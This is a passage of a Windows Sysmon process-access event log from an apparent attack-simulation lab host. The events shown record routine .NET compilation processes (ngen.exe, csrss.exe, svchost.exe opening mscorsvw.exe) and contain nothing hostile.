12:01:59.886","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-00104CA40B00}","TargetProcessId":"4628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7317,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.900\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-001049F90C00}\r\nTargetProcessId: 4628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.900","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-001049F90C00}","TargetProcessId":"4628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7318,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-001049F90C00}\r\nTargetProcessId: 4628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-001049F90C00}","TargetProcessId":"4628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7319,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.947\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-00109FFC0C00}\r\nTargetProcessId: 2964\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.947","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-00109FFC0C00}","TargetProcessId":"2964","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7320,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.963\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-00109FFC0C00}\r\nTargetProcessId: 2964\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.963","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-00109FFC0C00}","TargetProcessId":"2964","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7321,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-00109FFC0C00}\r\nTargetProcessId: 2964\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-00109FFC0C00}","TargetProcessId":"2964","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7322,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:00.010\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B8-5F2D-0000-0010A0FF0C00}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:00.010","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B8-5F2D-0000-0010A0FF0C00}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7323,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:00.010\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B8-5F2D-0000-0010A0FF0C00}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:00.010","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B8-5F2D-0000-0010A0FF0C00}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7324,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:00.010\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B8-5F2D-0000-0010A0FF0C00}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 